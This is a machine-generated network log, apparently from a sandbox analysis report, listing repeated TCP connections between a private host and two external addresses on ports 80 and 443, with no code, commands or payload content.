Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180

Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
